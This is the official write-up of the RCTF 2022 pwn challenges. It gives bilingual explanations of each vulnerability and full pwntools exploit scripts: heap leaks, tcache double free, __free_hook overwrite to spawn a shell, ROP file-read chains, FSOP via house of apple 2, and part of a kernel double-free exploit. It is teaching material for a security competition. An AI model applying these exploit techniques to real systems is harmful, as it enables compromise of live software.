RCTF 2022 OFFICIAL Write Up
PWN
MyCarsShowSpeed
第一个漏洞点在于在计算修理费用中。修理费用依赖于修理时间: 取回的时间 – 修理的时间,但其中取回时间的秒数会乘以fixDifficulty, fixDifficulty越大,表示修理所需时间越长,费用越高。其中漏洞在于fixDifficulty是一个字节的整数,在每次结束game时都会导致fixDifficulty++, 因此进行256次游戏之后fixDifficulty溢出为0,则导致修理的时间为负数,从而导致修理费用为负数,使得每次取回后钱数增加,因此利用这个漏洞可以反复刷钱,满足购买flag的第一个要求。
第二个漏洞点在于购买flag中。如果winTimes小于1000,便会不进行任何检查地强制清空所有的车。因此可以先在Store中存入修理的汽车,然后购买flag触发UAF,再次fetchCar时即可完成堆地址泄露,并取回。取回后可以利用isFixed标志位修改tcache_key字段进行double free,从而达到任意地址写修改winTimes,最后再次购买flag即可。
需要注意的点是编写exp时与程序交互收发数据可能出现问题,因此recv时尽量准确为好。其次docker中的环境是ubuntu20.04,默认的libc为2.31,由于出题经验不足,所以在附件中没有直接给出libc,因此有师傅提出建议最好附上libc,特此说明。最后,由于疏忽导致docker/bin下的二进制文件忘记更新,如果有师傅逆向时用了这个二进制文件在此再次表示十分抱歉!
The first Vulnerability point is in calculating the repair cost. The repair cost depends on the repair time: time of retrieval – time of repair, but the number of seconds of retrieval time is multiplied by fixDifficulty. The larger the fixDifficulty, the longer the repair takes, the higher the cost. Wherein the Vulnerability fixDifficulty is an integer byte, at the end of each game will result in fixDifficulty ++, so 256 times after the game fixDifficulty overflow is 0, resulting in a negative repair time, resulting in a negative repair cost, so that the number of money after each retrieval increases, so the use of this Vulnerability can be repeated brush money, to meet the first requirement to buy a flag.
The second Vulnerability point lies in the purchase flag. If the winTimes is less than 1000, all cars will be forcibly emptied without any inspection. Therefore, you can deposit the repaired car in the Store first, then the purchase flag triggers the UAF, and when fetchCar is fetched again, the heap address leakage can be completed and retrieved. After retrieval, you can use the isFixed flag to modify the tcache_key field for double free, so as to achieve any address to write and modify winTimes, and finally buy the flag again.
The point to note is that there may be problems when writing exp to send and receive data interactively with the program, so it is better to be as accurate as possible when recv. Secondly, the environment in docker is ubuntu20.04, and the default libc is 2.31. Due to lack of experience in problem solving, libc is not directly given in the attachment. Therefore, some masters suggest that it is best to attach libc. This is hereby explained. Finally, due to negligence, the binary file under docker/bin forgot to update. If a master used this binary file in reverse, I would like to express my very sorry again!
exp:
from pwn import *
import datetime
# context.log_level = 'debug'
#ip = "190.92.239.230"
#port = 8888
ip = "49.0.206.171"
port = 9999
if args.REMOTE:
p = remote(ip, port)
else:
p = process('./SpeedGame')
def ch(cmd):
p.recvuntil(b'> ')
p.sendline(str(cmd).encode())
def buyCar(name = b'NNN'):
p.recvuntil(b'> ')
p.sendline(b'3')
ch(1)
p.recvuntil(b'> ')
p.send(b'NormalCar')
p.recvuntil(b'> ')
p.send(name)
ch(5)
def buyFlag(mode=0):
ch(3)
ch(1)
p.recvuntil(b'> ')
p.send(b'flag')
if mode==0:
p.recvuntil(b'Your cars are confiscated!')
print(p.recvline())
else:
p.recvuntil(b'Here is your flag!\n')
print(p.recvuntil(b'}'))
ch(5)
def switchCar(name):
ch(4)
p.recvuntil(b'> ')
p.send(name)
p.recvuntil(b'Switch succesfully!')
def fixCar(name = b'NNN'):
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'> ')
p.send(name)
ch(5)
return
def fetchCar(name):
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'> ')
p.sendline(b'4')
data = p.recvuntil(b'> ')
p.send(name)
ch(5)
return data
def sellCar(name):
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'> ')
p.send(name)
ch(5)
return
def playGame():
p.recvuntil(b'> ')
p.sendline(b'1')
p.recv(2048)
# sleep(0.02)
p.sendline(b'q')
p.recvuntil(b'> ')
def showInfo():
ch(2)
data = print(p.recvuntil(b'Your using car is:'))
return data
def dbg():
gdb.attach(p)
pause()
def earnMoney(loop):
#fix and fetch
p.recvuntil(b'> ')
p.sendline(b'3')
for j in range(loop):
log.info(f'j={j}')
p.recvuntil(b'> ')
p.sendline(b'3') #fix
p.recvuntil(b'> ')
p.send(b'BBB')
p.recvuntil(b'> ')
p.sendline(b'4') #fetch
p.recvuntil(b'> ')
p.send(b'BBB')
p.sendline(b'5')
if __name__ == '__main__':
buyCar(b'AAA')
buyCar(b'BBB')
sellCar(b'AAA')
for i in range(255):
log.info(f'i={i}')
playGame()
curtime = datetime.datetime.now()
loop = 150
if args.REMOTE:
loop = 110
pass
else:
while curtime.second <= 15:
print('waiting for good timing...')
time.sleep(1)
curtime = datetime.datetime.now()
earnMoney(loop)
fixCar(b'BBB') #
buyCar(b'CCC') #
buyCar(b'DDD')
buyFlag()
data = fetchCar(b'\x00')
idx = data.find(b'CarName') + len(b'CarName: ')
fake_name = data[idx:idx+6]
heap_addr = u64(fake_name.ljust(8,b'\x00'))
heap_base = heap_addr - 0x950 - 0xa0 + 0x410
target_addr = heap_base + 0x2a0 + 0x90 #
store_addr = heap_base + 0x440
context.log_level = 'debug'
fetchCar(fake_name) #
buyCar(b'EEE')
buyCar(b'evil') # same 2 cars in list
sellCar(b'evil')
sellCar(b'EEE') # car num = 1
evil_name = heap_base + 0x5e0 #fd
fixCar(p64(evil_name))
fetchCar(p64(evil_name)) #set fixed = 0
sellCar(p64(evil_name)) # double free
buyCar(p64(target_addr))
buyCar(b'FFF')
buyCar(b'GGG')
buyCar(b'\xdd'*7)
log.info(f'corrupt_car:{hex(heap_base+0x660)}')
log.info(f'store_addr:{hex(store_addr)}')
log.info(f'heap_base:{hex(heap_base)}')
log.info(f'game_addr:{hex(heap_base + 0x2a0)}')
buyFlag(1)
# pause()
diary
source code:
https://github.com/ruan777/RCTF2022/blob/main/diary/main.cpp
The logic of the erase function of vector is as follows:
iterator erase(iterator position)
{
if(position + 1 != end())
copy(position + 1, finish, position);
--finish;
destroy(finish);
return position;
}
If the =
operation is not rewritten for the class, the function will call the default operation, that is, directly copy all the contents of the class. if there is a pointer, it will also be copied directly.
So at the time of destroy(finish);
, if the pointer in the class is freed in the destructor, then the copied pointer points to a memory that has been freed.
Here is an example:
#include <iostream>
#include <vector>
using namespace std;
class A{
public:
A(){
a = new char[0x100];
cout << "Call A()" << endl;
}
~A() {
delete [] a;
cout << "Call ~A();" << endl;
}
char* a;
};
int main(){
vector<A> vec_A(3);
vec_A.erase(vec_A.begin());
return 0;
}
The vulnerability of the challenge is in the delete command. If it is not the last idx deleted, then there will be a pointer pointing the freed chunk, which can be used to leak data with the show
command. But it needs to leak the random number s before rewritten tcache bins’ fd. Then use the xor in the encryption function to xor the fd of the released chunk into the desired address.
The random numbers are initialized at the beginning, and they will be used in a subsequent cycle. The length is 0x200, so as long as the content of a normal content is encrypted, the random number can be obtained. It should be noted here that the show
command will be truncated by ‘\x00’, so multiple encryptions and shows may be necessary to get complete random numbers.
exp:
from pwn import *
def add(year,month,day,hour,minutes,sec,content):
p.recvuntil("cmd:")
cmd = 'add#'
cmd += str(year) + '#' + str(month) + '#' + str(day) + '#' + str(hour) + '#' + str(minutes) + '#' + str(sec) + '#' + content
p.sendline(cmd)
def show(idx):
p.recvuntil("cmd:")
cmd = 'show#' + str(idx)
p.sendline(cmd)
def delete(idx):
p.recvuntil("cmd:")
cmd = 'delete#' + str(idx)
p.sendline(cmd)
def update(idx,content):
p.recvuntil("cmd:")
cmd = 'update#' + str(idx) + '#' + content
p.sendline(cmd)
def decrypt(idx):
p.recvuntil("cmd:")
cmd = 'decrypt#' + str(idx)
p.sendline(cmd)
def encrypt(idx,offset,length):
p.recvuntil("cmd:")
cmd = 'encrypt#' + str(idx) + '#' + str(offset) + '#' + str(length)
p.sendline(cmd)
# p = process("./diary")
ip = "x.x.x.x"
p = remote(ip,10111)
# gdb.attach(p)
for i in range(11):
add(1971,12,12,23,22,20+i,'a'*0x200)
for i in range(10,3,-1):
delete(i)
delete(0)
show(2)
p.recvuntil("1971.12.12 23:22:23\n")
leak_value = u64(p.recv(6).ljust(8,b'\x00'))
info("leak_value: " + hex(leak_value))
__free_hook_ = leak_value + 0x2268 - 0xd
system = leak_value - 0x19a950
for i in range(5):
add(1971,12,12,23,22,40+i,'a'*0x200)
delete(0)
show(6)
p.recvuntil("23:22:44\n")
heap_value = u64(p.recv(6).ljust(8,b'\x00'))
info("heap_value: " + hex(heap_value))
need_random_value = heap_value ^ __free_hook_
for i in range(6):
update(0,chr(need_random_value&0xff)*0x200)
encrypt(0,4,0x200)
show(0)
data = p.recvuntil("input")
data = data[:-6]
data = data[25:]
if len(data) == 0x200:
exit()
update(0,"A"*0x200)
encrypt(0,0,len(data))
encrypt(6,i,1)
update(0,"A"*0x200)
encrypt(0,0,511-len(data))
need_random_value = need_random_value >> 8
add(1972,12,12,23,22,40,'a'*0x10)
pause()
add(1972,12,12,23,22,41,';/bin/sh;' + ''.join([chr(x) for x in p64(system)]))
p.interactive()
befunge93
源码:https://github.com/ruan777/RCTF2022/blob/main/befunge93/befunge93.cpp
befunge语言的介绍:https://esolangs.org/wiki/Befunge
漏洞在于g(get)和p(put)指令没有check好边界,导致的越界写和越界读:
case 'g':
{
int y_ = (int)pop();
int x_ = (int)pop();
// vuln here
push((x_ < rows && y_ < cols) ? code_ptr[x_ * cols + y_] : 0);
}
break;
case 'p':
{
int y_ = (int)pop();
int x_ = (int)pop();
uint8_t value = (uint8_t)pop();
// vule here
if(x_ < rows && y_ < cols){
code_ptr[x_ * cols + y_] = value;
}
}
break;
只需要分配一个很大的内存让其mmap到libc地址的上方,通过越界读写libc里的地址即可
exp:
from pwn import *
# p = process("./befunge93")
p = remote("94.74.89.68",10101)
p.sendlineafter("input x:",str(0x400))
p.sendlineafter("input y:",str(0x800))
# &-> push int
# g-> oob read
# p-> oob write
# +,- add and sub
code = '/bin/sh\x00&&g&&g&&g&&g&&g&&g,,,,,,&&&p&&&p&&&p&&&p&&&p&&&p>@'
p.sendlineafter("code length:",str(len(code)))
offset = 0x742780
free_hook_offset = 0x743e38
p.sendafter("your code:",code)
p.recvuntil(">@")
for i in range(5,-1,-1):
p.sendline(str(-0x100000))
sleep(0.3)
p.sendline(str(-0x80000000+offset+i))
sleep(0.3)
# gdb.attach(p,"")
# gdb.attach(p,"brva 0x1fc3")
leak_value = u64(p.recv(6).ljust(8,b'\x00'))
info("leak: " + hex(leak_value))
system = leak_value - 0x19a6f0
# pause()
for i in range(6):
p.sendline(str(system & 0xff)) # value
sleep(0.3)
p.sendline(str(-0x100000)) # x
sleep(0.3)
p.sendline(str(-0x80000000+free_hook_offset+i)) # y
sleep(0.3)
system = system >> 8
# p.sendafter("your code:",'A')
p.interactive()
ez_atm
In the attachment of the challenge, I gave the way to build Docker and the client program.In order to avoid inconsistency between local and remote programs, we suggest that you must build your own Docker debugging, and then attack the remote environment.
Vulnerability points of the program:
1,stat_query function leaks data:
void info(int flag,char * msg)
{
printf("reply : %s\n",msg);
msg_snd.stats = flag;
memcpy(msg_snd.msg_info,msg,128);
send(c_fd,(char*)(&msg_snd),sizeof(Data_send),0);
memset((char*)(&msg_snd),0,sizeof(Data_send));
}
int stat_query(char *stat)
{
info(success,stat);
return 1;
}
int main()
{
...
if(!memcmp("stat_query",msg_rec.op,10))
{
stat_query((char*)&sst);
}
}
The sst variable is only 4 bytes of data on the stack, while the info function sends 128 bytes of data, leading to data disclosure, which can reveal the libc base address and stack address.
2,query_leak data
typedef struct account{
char password[8];
char account_id[32];
unsigned int money;
int unlocked;
}account;
account *ac_list[10];
int query()
{
info(success,(char*)ac_list[account_id]);
return loged;
}
The info function sends 128 bytes, while the account structure only has 48 bytes. As a result, when you query the data of the current account again, part of the data on the next heap block of the corresponding heap block will be disclosed. As long as we release a heap block into tcache bins in advance, we can disclose the key value, that is, the address of a heap block.
3,UAF
When you release a heap, the program will not empty the pointers in the array, nor will it empty the data on the heap.
Through the first two vulnerabilities, we can obtain the libc base address and heap block address of the program.
When logging in, searching the account ID is only convenient from the first of the array. Therefore, we can control a heap block that has been released by using the address of the heap block that has been obtained and the UAF vulnerability.
int update_pwd()
{
char pwd[8]="";
memcpy(pwd,msg_rec.password,8);
info(try_again,"please input your pasword.");
recv_msg();
for(int i=4;i>0;i--) // 5次机会,错误直接锁定账户
{
if(check_pwd(account_id, msg_rec.password)){
memcpy(ac_list[account_id]->password,pwd,8);
info(success,"Password modification succeeded.");
return loged;
}
if(i!=1)
{
info(try_again,"try again.");
recv_msg();
}
}
info(false,"The password has been entered incorrectly for more than 5 times, and your account has been frozen.");
ac_list[account_id]->unlocked=0;
return exited;
}
The location of the password array in the structure is the fd pointer of the released heap block. Therefore, we can control the chat table structure in tcache bins so that the next heap block can be an arbitrary address.
The next step is how to get the flag. Because the cs mode uses interaction, we cannot directly interact with the program, so one method is to redirect the output system (“cat flag>&4”).Another way is because stat_ The super can also disclose the stack address of the main function. We use any address to write, hijack the stack to the BSS segment, and temporarily store the information we send to the server in one structure on the BSS. The rip is hijacked to the modified structure, and the rop of orw is arranged on the structure in advance.
Another challenge lies in the digital signature authentication at the beginning of the cs mode. You can calculate directly in exp, or you can write an ELF program separately according to the logic to bypass. This is also to increase the interest of “software cracking”.
pass.c //gcc ./pass.c -o pass
#include<stdio.h>
#include<string.h>
#include<time.h>
#include<unistd.h>
#include<stdlib.h>
int getrand(){
return rand()%(15);
}
char int_2_char(int a){
if(a>=0&&a<=9){
return ('0'+a);
}
else{
switch(a)
{
case 10:return 'a';break;
case 11:return 'b';break;
case 12:return 'c';break;
case 13:return 'd';break;
case 14:return 'e';break;
}
}
return '0';
}
char * creatuuid(char * uuid){
for(int i=0;i<30;i++){
if(uuid[i]=='4' || uuid[i]=='-'){
continue;
}
else if(uuid[i]=='x'){
uuid[i] = int_2_char(getrand());
}
else {
uuid[i] = int_2_char(3 & getrand() | 8);
}
}
return uuid;
}
int main()
{
char uuid[] = "yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy";
unsigned long ask_time=0;
scanf("%lu",&ask_time);
srand(ask_time);
creatuuid(uuid);
puts(uuid);
return 0;
}
One problem I noticed was that some masters found that the environment in their Docker was different from that in remote and other people’s environments during the problem solving process. This is because the program does not use setbuf to clear the buffer, which causes the size of the buffer on the heap to be unstable. In the remote environment, the size is about 0x400.
EXP: orw rop
from pwn import *
r=remote(ip,port)
def new_ac(ac_id,pwd,money):
sleep(0.2)
pad = b"new_account".ljust(16,b'\x00')
pad += pwd.ljust(8,b'\x00')+ac_id.ljust(0x20,b'\x00')+p32(money)
r.send(pad)
def free(pwd):
sleep(0.2)
pad = b'cancellation'.ljust(16,b'\x00')
pad +=pwd.ljust(8,b'\x00')+b'\x00'*0x20
r.send(pad)
def exit_ac():
sleep(0.2)
pad = b'exit_account'.ljust(16,b'\x00')
r.send(pad)
def login(ac_id,pwd):
sleep(0.2)
pad = b"login".ljust(16,b'\x00')
pad +=pwd.ljust(8,b'\x00')+ ac_id.ljust(0x20,b'\x00')
r.send(pad)
def query():
sleep(0.2)
r.send(b"query"+b'\x00'*11)
def update_pwd(pwd,ori_pwd):
sleep(0.2)
pad = b'update_pwd'.ljust(16,b'\x00')
pad +=pwd.ljust(8,b'\x00')+ b'\x00'*0x20
r.send(pad)
sleep(0.2)
pad = b'update_pwd'.ljust(16,b'\x00')
pad +=ori_pwd.ljust(8,b'\x00')+ b'\x00'*0x20
r.send(pad)
ask_time = u32(r.recv(4))
print(ask_time)
p=process('./pass')
p.sendline(str(ask_time))
ss = p.recv(30)
p.close()
print(ss)
r.send(ss)
r.recv()
r.send(b"stat_query".ljust(32,b'\x00'))
r.recv(12)
canary = u64(r.recv(8))
poc_base = u64(r.recv(8))- 0x002130
libc_base = u64(r.recv(8))-0x021c87
r.recv(8)
RIP_addr = u64(r.recv(8))-0xe0
free_hook = 0x3ed8e8 + libc_base
system = 0x4f420+libc_base
open_ = 0x10fbf0+libc_base
read = 0x110020+libc_base
write = 0x1100f0+libc_base
msg_rec_addr = poc_base+ 0x203160
pop_rdi = libc_base+0x000000000002164f
pop_rsi = libc_base+0x0000000000023a6a
pop_rdx = libc_base+0x0000000000001b96
leave_ret = libc_base+0x00000000000547e3
pop_rsp = 0x000000000000396c+libc_base
pop_rbp = 0x213e3+libc_base
info("msg_rec_addr:"+hex(msg_rec_addr))
info("canary : "+hex(canary))
info("poc_base: "+hex(poc_base))
info("libc_base : "+hex(libc_base))
info("RIP_addr: "+hex(RIP_addr))
new_ac(b' flag.txt',b'./flag',1111)
exit_ac()
new_ac(b'2222',b'2222',2222)
exit_ac()
new_ac(b'flag',b'3333',3333)
free(b'3333')
login(b'2222',b'2222')
query()
ss = r.recvuntil(b'2222\x00\x00\x00\x002222\x00\x00\x00\x00')
ss = r.recv(0x40)[-8::]
heap_addr = u64(ss)-0x10
info("heap_addr : "+hex(heap_addr))
free(b'2222')
chunk1 = heap_addr+0x670
chunk2 = heap_addr+0x6a0
chunk3 = heap_addr+0x6e0
info("chunk3+0x10 : "+hex(chunk3+0x10))
login(p64(heap_addr+0x10)+b'\x00'*0x18,p64(chunk3+0x10))
update_pwd(p64(RIP_addr-8),p64(chunk3+0x10))
exit_ac()
new_ac(b'2'*0x10,b'2',2)
exit_ac()
new_ac(p64(pop_rsp)+p64(msg_rec_addr+0x10)+p64(leave_ret+1),p64(msg_rec_addr+0x10),0)
exit_ac()
pad = b'exit_system'.ljust(16,b'\x00')
pad +=p64(pop_rdi)+p64(chunk1)+p64(pop_rsi)+p64(0)+p64(open_)
pad +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(chunk1)
pad +=p64(pop_rdx)+p64(0x30)+p64(read)
pad +=p64(pop_rdi)+p64(4)
pad +=p64(pop_rdx)+p64(0x30)+p64(write)
r.send(pad)
pause(1)
r.interactive()
RCTF{Ju5t_s3Ein9u_K33psme&h4ppY_aLLday}
_money
There is an overflow in the loan function array, which will overflow to the heap block of the first account. By writing information to the loan notes, we can modify the size of the first heap block to exceed the largebinsize, so that it can be released into unsortdbins. When viewing loan information, you can disclose the base address of libc.If there are other heap blocks after the first heap block, we can also make the heap overlap .Change the fd of freedchunk to free_ Hook-8, free_ Hook is written as system.
exp:
from pwn import *
r= remote(ip,port)
libc = ELF("./libc-2.31.so")
def new(ac_id,pwd,money):
r.sendlineafter("your choice","new_account")
r.sendlineafter("please input the account id",ac_id)
r.sendlineafter("please input the password",pwd)
r.sendlineafter("please input the money",str(money))
def free(pwd):
r.sendlineafter("your choice","Cancellation")
r.sendlineafter("please enter the password",pwd)
def transfer(ac_id,pwd,money):
r.sendlineafter("your choice","Transfer_account")
r.sendlineafter("please input the account id",ac_id)
r.sendlineafter("Please enter the remittance amount.",str(money))
r.sendlineafter("please input your pasword.",pwd)
def withdraw(pwd,money):
r.sendlineafter("your choice","Withdraw_money")
r.sendlineafter("Please enter the withdrawal amount.",str(money))
r.sendlineafter("please input your password.",pwd)
def deposite(money):
r.sendlineafter("your choice","Deposit_money")
r.sendlineafter("Please enter the deposit amount.",str(money))
def update_info(new_pwd,pwd):
r.sendlineafter("your choice","Update_info")
r.sendlineafter("please entet a new password",new_pwd)
r.sendlineafter("please input your password.",pwd)
def login(ac_id,pwd):
r.sendlineafter("your choice","login")
r.sendlineafter("please input the account id",ac_id)
r.sendlineafter("please input the password",pwd)
def exit_account():
r.sendlineafter("your choice","Exit_account")
def exit_system():
r.sendlineafter("your choice","exit_system")
def loan(money,text):
r.sendlineafter("your choice","Loan_money")
r.sendlineafter("Please enter the loan amount",str(money))
r.sendlineafter("Please leave your comments.",text)
def repay(money):
r.sendlineafter("your choice","Repayment")
r.sendlineafter("How much do you want to repay?",str(money))
def vip():
r.sendlineafter("your choice","I'm vip!")
#gdb.attach(r,'b update_info')
new("1","1",1)
#free("1")
exit_account()
new(p64(2)+p64(0x461),'2',999999999)
for i in range(11):
loan(0,b"\x00"*0x18+p64(0x0000000100000001))
if(i==10):
break
repay(0)
exit_account()
for i in range(3,16):
new(str(i),str(i),999999999)
exit_account()
login('3','3')
free('3')
login(b"\x00"*0x20,'\x00'*8)
free('\x00'*8)
login(p64(2)+p64(0x461),'2')
r.sendlineafter("your choice","I'm vip!")
for i in range(10):
r.recvuntil("Loan account :")
r.recvuntil("Loan account :")
r.recv(16)
libc_base = u64(r.recv(8))-0x1ecbe0
free_hook = libc_base+libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
info("libc_base : "+hex(libc_base))
info("system : "+hex(system))
info("free_hook :"+hex(free_hook))
exit_account()
new('3','3',99999999)
exit_account()
new('1','1',99999999)
free('1')
login('3','3')
r.sendlineafter("your choice","I'm vip!")
for i in range(10):
r.recvuntil("Loan account :")
r.recvuntil("Loan account :")
r.recv(24)
heap_base = u64(r.recv(8))-0x10
info("heap_base :"+hex(heap_base))
#context.log_level = 'debug'
exit_account()
new('1','1',99999999)
exit_account()
new('16','16',9999999)
exit_account()
login('1','1')
free('3')
login('16','16')
free('16')
password = p64(heap_base+0x580)
acid = p64(heap_base+0x10)+p64(0x461)
login( acid,password)
update_info(p64(free_hook-8),password)
exit_account()
new("17","17",17)
exit_account()
new(p64(system),b"/bin/sh\x00",1)
pause()
free(b'/bin/sh\x00')
r.interactive()
bfc
vulnerability
Every time the data pointer is incremented by 1, it will be judged whether there is an out-of-bounds. The assembly code uses jg
, which is a signed judgment, so the data can be written out of bounds when the pointer is reduced to a negative number.
pwndbg> x/32xi 0x7ffff7fba000
0x7ffff7fba000: mov rax,QWORD PTR [rdi+0x8]
0x7ffff7fba004: mov rbx,QWORD PTR [rdi+0x10]
0x7ffff7fba008: inc rbx
0x7ffff7fba00b: cmp rax,rbx
0x7ffff7fba00e: jg 0x7ffff7fba052 <--
exploit
- Use large bin attack to modify
stderr
to a controllable heap address. -
Construct an IO chain, for details, please refer to house of apple 2.
-
Use
__malloc_assert
to trigger IO stream
leak heap and libc
After the data pointer is added to 0x10, there will be a chunk in tcache, and the heap address can be leaked by reducing the pointer to the corresponding negative number.
When the data pointer is added to 0x800, the previously used 0x810 size chunk will be placed in the unsorted bin, which can also leak libc.
large bin attack
The size of the chunk to be malloced each time is twice the size of the previous one. But the two chunks required by the large bin attack must be in the same group size (for example, 0x800, 0x810), so we need to forged the size of the unsorted bin chunk.
My approach is to add the pointer to 0x400 first, and use the ?
option to prevent chunk merging.
Then add the pointer to 0x1000. At this time the 0x1010 chunk(chunk A) is in unsorted bin, and the 0x810(chunk B) one is in large bin.
Forge a chunk of size 0x800 in chunk A.
Modify bk_size of chunk B to stderr_addr-0x20
, forge the _IO_FILE
structure, set the relevant fields to pass the check and set the vtable
filed to _IO_wfile_jumps-(0x60-0x18)
.
Forge an _IO_wide_data
structure, and also set the relevant fields including vtable
,
Add the pointer to 0x2000 to trigger large bin attack then stderr
is changed to the address of chunk A.
Finally, modify the A bit of the size field of chunk A and use large bin attack again. The program will trigger__malloc_assert
because the check in malloc.c:4105 cannot pass, and finally call system("sh")
trick
Use ,[>>>>>>>>,]
similar format code to achieve unlimited reading and writing and pointer addition and subtraction. This approach may change some fields of the chunk, just pay attention to the modification.
script
#!/usr/bin/python3
from pwncli import *
context.terminal = ['tmux','splitw','-h']
context.arch="amd64"
context.log_level="debug"
def debug(addr=-1,PIE=True):
if addr == -1:
gdb.attach(p)
else:
if PIE:
gdb.attach(p,'''b *$rebase({})
directory /usr/src/glibc/glibc-2.35/
b ./malloc/malloc.c:306
c
'''.format(hex(addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def log(strr,addr):
info("\033[0;31m{} --> {}\033[0m".format(strr,hex(addr)))
code = b""
data = b""
data2 = b""
def ptr_add(x, pad=b'a', step=8):
global code
global data
code += b",[" + b'>'*step + b",]"
data += pad*(x//step) + b'\x00'
def ptr_add2(x, pad=b'a', step=8):
global code
global data2
code += b",[" + b'>'*step + b",]"
data2 += pad*(x//step) + b'\x00'
def ptr_sub(x, pad=b'a', step = 8):
global code
global data
code += b",[" + b'<'*step + b",]"
data += pad*(x//step) + b'\x00'
def ptr_sub2(x, pad=b'a', step = 8):
global code
global data2
code += b",[" + b'<'*step + b",]"
data2 += pad*(x//step) + b'\x00'
def write_bytes(x):
global code
global data
code += b".>"*x
def read_bytes(content, forword=False):
global code
global data
if forword:
code += b',>'*len(content)
else:
code += b','*len(content)
data += content
def read_bytes2(content, forword=False):
global code
global data2
if forword:
code += b',>'*len(content)
else:
code += b','*len(content)
data2 += content
def main():
global code
global data
global p
global data2
p=remote('119.13.89.159',3301)
#p=remote('0.0.0.0', 3344 )
#p = process("./bfc")
ptr_add(0x20)
ptr_sub(0x20+0x10+0x18, b'\x90')
code += b'<'*8
# leak heap
write_bytes(0x8)
ptr_add(0x18+0x10+0x400)
# Prevent chunk merging
code += b'??'
ptr_add(0x400)
ptr_sub(0x800+0x10+0x800+0x20, b'\xe0', 0x10)
read_bytes(b'\xe0')
# leak libc
write_bytes(0x8)
code += b'>'*0x8
ptr_add(0x800+0x20, b'\x10', 0x10)
ptr_add(0x1000)
ptr_sub(0x1000+0x10+(0x1000)+0x8, b'\xe0')
ptr_sub(0x28+0x800-0x18)
# forge bk_size
read_bytes2(p64(u64_ex("bk_size")), True)
ptr_add2(0x800-0x20+0x10, b'\x10')
read_bytes2(b'\x20')
ptr_add2(0x18)
# forge a chunk smaller than the one in large bin
read_bytes2(p64(0x801), True)
ptr_add2(0x7f0-0x20+0x20, b'\xe0')
read_bytes2(p64(0x800)+p64(0x20), True)
ptr_add2(0x820, b'\x11')
ptr_add2(0x2000-0x10)
# back to the forged 0x800 chunk
ptr_sub2(0x2000+0x10+0x2000-0x10, b'\x10', 0x10)
ptr_sub2(0x20+0x1000+0x10, b'\x11', 0x10)
# forge _IO_FILE struct
# set f->flags
read_bytes2(p64(u64_ex(" sh")), True)
# set A bit of size field for triggering __malloc_asset in _int_malloc
read_bytes2(p64(0x811|4), True)
# set f->_lock
ptr_add2(0x88-0x10)
read_bytes2(p64(u64_ex("_lock")), True)
# set f->_wide_data
ptr_add2(0xa0-0x90, b'\xd0', 0x10)
read_bytes2(p64(u64_ex("widedata")), True)
ptr_add2(0x30)
# set f->vtable
read_bytes2(p64(u64_ex("fvtable")), True)
# back to 0x2000 chunk (in unsorted bin)
ptr_add2(0xf30, b'\x11', 0x10)
# forge a 0x820 chunk
code += b'>'*0x8
read_bytes2(p64(0x821), True)
# fix fd
ptr_add2(0x810, b'\xe0', 0x10)
# set prev_size and size
read_bytes2(p64(0x820), True)
read_bytes2(p64(0x60), True)
## mov to 0x4000 chunk
ptr_add2(0x1800-0x10)
# forge _wide_data
ptr_add2(0x18)
# set _wide_data->_IO_write_base
read_bytes2(p64(0), True)
#
ptr_add2(0x10)
# set _wide_data->_IO_buf_base
read_bytes2(p64(0), True)
ptr_add2(0xe0-0x30-0x8)
read_bytes2(p64(u64_ex("wvtable")),True)
read_bytes2(p64(u64_ex("system")),True)
ptr_add2(0x4000-0xf0)
#debug(0x2D59)
p.sendlineafter(b":",str(len(code)))
p.sendlineafter(b":", code)
sleep(0.1)
p.send(data)
sleep(1)
heap_base = (u64(p.recv(8)) << 12) - 0x13000
log("heap_base", heap_base)
libc_base = u64(p.recv(8)) - 0x219ce0
log("libc_base", libc_base)
log("_wide_data", libc_base+0x156b0+0x1000)
stderr_addr = libc_base + 0x21a860 # 0x21a6a0
_IO_wfile_jumps = libc_base + 0x2160c0
fake_wide_data = heap_base + 0x176d0
_lock_addr = libc_base + (0x7f5eea04da60-0x7f5ee9e32000)
# fix addresses
data2 = data2.replace(p64(u64_ex("bk_size")), p64(stderr_addr-0x20))
data2 = data2.replace(p64(u64_ex("widedata")), p64(fake_wide_data))
data2 = data2.replace(p64(u64_ex("fvtable")), p64(_IO_wfile_jumps-(0x60-0x18)))
data2 = data2.replace(p64(u64_ex("wvtable")), p64(fake_wide_data+(0xe0+0x8-0x68)))
data2 = data2.replace(p64(u64_ex("system")), p64(libc_base + libc.sym["system"]))
data2 = data2.replace(p64(u64_ex("_lock")), p64(_lock_addr))
log("system", libc_base + libc.sym["system"])
log("fake_wide_data",fake_wide_data)
p.sendline(data2)
p.interactive()
if __name__ == "__main__":
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
main()
unexpected solution
https://github.com/nobodyisnobody/write-ups/tree/main/RCTF.2022/pwn/bfc
game
Foreword
This game was intended to use ext4 file system, but feel packaged out a little big, and then use busybox to convenient deployment, the root directory permissions did not match. I am very sorry for the bad experience.
Idea
The idea of the game comes from the utilization process of CVE-2022-3238, a double free local priveledge escalation I found in ntfs3 subsystem this year. If the character option is used when mounting ntfs3 file system, Then remout and umount will produce a 0x10 byte double free (but there is actually another 0x20).
Some changes were made to the scene here. The original vulnerability appeared in the assignment of opts pointer to another structure member in super.c, and the title changed this operation to memcpy of reborn operation. This results in double free.
The code is written a little rotten, resulting in the compilation of the binary file is very ugly, considering the competition pwn question number is more, in order not to increase the master’s reverse workload in the competition directly released the source code.
Exploit:
1.leak heap_addr by ldt_struct
struct ldt_struct {
struct desc_struct *entries;
unsigned int nr_entries;
int slot;
};
The structure is exactly 0x10 bytes in size, and the first eight bytes happen to be a pointer to data that also happens to be allocated through the heap, so the heap_addr can be leaked through double free and read. (In the real world, I do this with the ldt_struct structure combined with fuse+setxattr+getxattr)
ioctl(fd,114,"flag=123456789");//kmalloc(0x10)
ioctl(fd,1,0);
ioctl(fd,114,"flag=123456789");//kfree
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));//alloc ldt_struct
read(fd,leak,0x10);//leak
2.arbitrary address read ref
